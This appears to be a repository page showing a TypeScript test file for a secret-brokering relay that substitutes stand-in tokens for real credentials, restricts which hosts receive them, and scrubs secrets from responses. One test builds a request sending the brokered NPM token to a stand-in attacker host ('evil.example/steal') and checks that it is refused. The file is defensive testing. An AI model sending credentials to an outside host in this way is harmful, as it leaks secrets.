Skip to content
Sign up

flagon-io/g1t

public
00

Where people and agents ship software together. The open-source git platform for the whole job: issues, agents, checks and deploys to the edge.

gitagentscloudflarerustforgemcp
203 linesCodeBlameRaw
1import assert from "node:assert/strict";
2import { test } from "node:test";
3
4import type { BrokeredSecret } from "@g1t/contracts";
5
6import {
7 ANSWER_HEADER,
8 MAX_REQUEST_BYTES,
9 REQUEST_HEADER,
10 type RelayDeps,
11 answerHeaders,
12 capped,
13 readCapped,
14 readRelayed,
15 relay,
16 replaceBytes,
17 scrubStream,
18 scrubbedType,
19} from "./broker-relay.ts";
20
21const NPM: BrokeredSecret = {
22 standIn: `g1tsec_${"a".repeat(48)}`,
23 name: "NPM_TOKEN",
24 value: "npm_realvalue123",
25 hosts: ["registry.npmjs.org"],
26};
27
28const b64 = (value: unknown) => btoa(JSON.stringify(value));
29
30function brokerRequest(
31 wanted: { method?: string; url: string; headers?: [string, string][] },
32 options: { token?: string; job?: string; body?: BodyInit; header?: string } = {},
33): Request {
34 const headers = new Headers({ "x-g1t-broker-job": options.job ?? "job_1" });
35 if (options.token !== "") headers.set("authorization", `Bearer ${options.token ?? "current"}`);
36 headers.set(REQUEST_HEADER, options.header ?? b64({ method: wanted.method ?? "GET", url: wanted.url, headers: wanted.headers ?? [] }));
37 return new Request("https://runner/rpc/broker", { method: "POST", headers, body: options.body });
38}
39
40type Seen = { sent: Request[]; notes: string[] };
41
42function deps(answer: (request: Request) => Response, secrets: BrokeredSecret[] | null = [NPM]): RelayDeps & { seen: Seen } {
43 const seen: Seen = { sent: [], notes: [] };
44 return {
45 seen,
46 async secrets(_job, token) {
47 return token === "current" ? secrets : null;
48 },
49 async note(_job, _token, text) {
50 seen.notes.push(text);
51 },
52 async send(request) {
53 seen.sent.push(request);
54 return answer(request);
55 },
56 };
57}
58
59function answerOf(response: Response): { status: number; headers: [string, string][] } {
60 return JSON.parse(atob(response.headers.get(ANSWER_HEADER) ?? ""));
61}
62
63test("a request carrying a stand-in for its host is filled in, sent, and its answer scrubbed", async () => {
64 const d = deps(
65 (request) =>
66 new Response(`{"token":"${request.headers.get("authorization")?.slice(7)}"}`, {
67 status: 201,
68 headers: { "content-type": "application/json", "x-echo": "npm_realvalue123", "content-encoding": "gzip" },
69 }),
70 );
71 const response = await relay(
72 brokerRequest({
73 url: "https://registry.npmjs.org/pkg",
74 headers: [
75 ["authorization", `Bearer ${NPM.standIn}`],
76 ["connection", "keep-alive"],
77 ],
78 }),
79 d,
80 );
81 assert.equal(response.status, 200);
82 assert.equal(d.seen.sent.length, 1);
83 const sent = d.seen.sent[0];
84 assert.equal(sent.headers.get("authorization"), "Bearer npm_realvalue123");
85 assert.equal(sent.headers.get("connection"), null, "the connection's own headers go no further");
86 assert.equal(sent.redirect, "manual");
87 const answer = answerOf(response);
88 assert.equal(answer.status, 201);
89 assert.deepEqual(Object.fromEntries(answer.headers)["x-echo"], NPM.standIn);
90 assert.equal(Object.fromEntries(answer.headers)["content-encoding"], undefined, "the body is relayed decoded");
91 const body = await response.text();
92 assert.equal(body, `{"token":"${NPM.standIn}"}`);
93 assert.ok(!JSON.stringify(answer).includes(NPM.value) && !body.includes(NPM.value));
94 assert.deepEqual(d.seen.notes, []);
95});
96
97test("a body is relayed, and one past the limit is refused", async () => {
98 const d = deps(async () => new Response(null, { status: 204 }));
99 const ok = await relay(
100 brokerRequest({ method: "PUT", url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }, { body: "tarball" }),
101 d,
102 );
103 assert.equal(answerOf(ok).status, 204);
104 assert.equal(await d.seen.sent[0].text(), "tarball");
105 const big = new Uint8Array(MAX_REQUEST_BYTES + 1);
106 const tooBig = await relay(
107 brokerRequest({ method: "PUT", url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }, { body: big }),
108 d,
109 );
110 assert.equal(tooBig.status, 413);
111 assert.equal(d.seen.sent.length, 1, "nothing more was sent");
112});
113
114test("it is no open proxy: no stand-in, another host, or plain HTTP is refused and noted", async () => {
115 const d = deps(() => new Response("never"));
116 const none = await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg" }), d);
117 assert.equal(none.status, 403);
118 assert.equal(none.headers.get(ANSWER_HEADER), null);
119 const elsewhere = await relay(brokerRequest({ url: "https://evil.example/steal", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d);
120 assert.equal(elsewhere.status, 403);
121 const plain = await relay(brokerRequest({ url: "http://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d);
122 assert.equal(plain.status, 403);
123 assert.equal(d.seen.sent.length, 0);
124 assert.equal(d.seen.notes.length, 3);
125 assert.match(d.seen.notes[0], /without a stand-in/);
126 assert.match(d.seen.notes[1], /NPM_TOKEN was sent to evil\.example/);
127 // Once per secret and host.
128 await relay(brokerRequest({ url: "https://evil.example/again", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d);
129 assert.equal(d.seen.notes.length, 3);
130});
131
132test("only the job's current token opens it, and it must come as a header", async () => {
133 const d = deps(() => new Response("never"));
134 const wanted = { url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] as [string, string][] };
135 assert.equal((await relay(brokerRequest(wanted, { token: "spent" }), d)).status, 401);
136 assert.equal((await relay(brokerRequest(wanted, { token: "" }), d)).status, 401);
137 assert.equal((await relay(brokerRequest(wanted, { header: "not base64 json" }), d)).status, 400);
138 assert.equal((await relay(brokerRequest({ ...wanted, method: "CONNECT" }), d)).status, 400);
139 assert.equal(d.seen.sent.length, 0);
140});
141
142test("a request has a time limit", async () => {
143 const d = deps(() => new Response("ok"));
144 await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d);
145 assert.ok(d.seen.sent[0].signal instanceof AbortSignal);
146});
147
148test("an answer past the limit is refused by its length, or cut off as it streams", async () => {
149 const d = deps(() => new Response("x", { headers: { "content-length": String(2 * 1024 * 1024 * 1024) } }));
150 const response = await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d);
151 assert.equal(response.status, 502);
152 const cut = new Response(new Blob(["12345"]).stream().pipeThrough(capped(3)));
153 await assert.rejects(cut.text());
154});
155
156test("a value split across chunks is still scrubbed, and other bytes pass as they are", async () => {
157 const pairs = [{ from: new TextEncoder().encode("secret"), to: new TextEncoder().encode("STAND") }];
158 const one = replaceBytes(new TextEncoder().encode("a secret here"), pairs, true);
159 assert.equal(new TextDecoder().decode(one.out), "a STAND here");
160 // The last bytes that could begin a value wait for the next chunk.
161 const held = replaceBytes(new TextEncoder().encode("xx sec"), pairs, false);
162 assert.equal(new TextDecoder().decode(held.out), "x");
163 assert.equal(new TextDecoder().decode(held.rest), "x sec");
164
165 const chunks = ['{"t":"npm_real', 'value123","u":"npm_', 'realvalue123"}'];
166 const source = new ReadableStream<Uint8Array>({
167 start(controller) {
168 for (const chunk of chunks) controller.enqueue(new TextEncoder().encode(chunk));
169 controller.close();
170 },
171 });
172 const text = await new Response(source.pipeThrough(scrubStream([NPM]))).text();
173 assert.equal(text, `{"t":"${NPM.standIn}","u":"${NPM.standIn}"}`);
174});
175
176test("text bodies are scrubbed whatever their size; binary ones stream as they are", () => {
177 assert.ok(scrubbedType(new Headers({ "content-type": "application/json; charset=utf-8" })));
178 assert.ok(scrubbedType(new Headers({ "content-type": "text/html" })));
179 assert.ok(scrubbedType(new Headers({ "content-type": "application/vnd.api+json" })));
180 assert.ok(scrubbedType(new Headers()));
181 assert.ok(!scrubbedType(new Headers({ "content-type": "application/octet-stream" })));
182 assert.ok(!scrubbedType(new Headers({ "content-type": "application/gzip" })));
183});
184
185test("the request reads only in its own shape, and answer headers keep each cookie", async () => {
186 assert.deepEqual(readRelayed(b64({ method: "get", url: "https://a.example/", headers: [["a", "1"]] })), {
187 method: "GET",
188 url: "https://a.example/",
189 headers: [["a", "1"]],
190 });
191 assert.equal(readRelayed(b64({ method: "GET", url: "https://a.example/", headers: [["a", 1]] })), null);
192 assert.equal(readRelayed(null), null);
193 const headers = new Headers({ "content-type": "text/plain", "transfer-encoding": "chunked" });
194 headers.append("set-cookie", "a=1");
195 headers.append("set-cookie", "b=2");
196 assert.deepEqual(answerHeaders(headers), [
197 ["content-type", "text/plain"],
198 ["set-cookie", "a=1"],
199 ["set-cookie", "b=2"],
200 ]);
201 assert.deepEqual(await readCapped(new Blob(["abc"]).stream(), 3), new TextEncoder().encode("abc"));
202 assert.equal(await readCapped(new Blob(["abcd"]).stream(), 3), null);
203});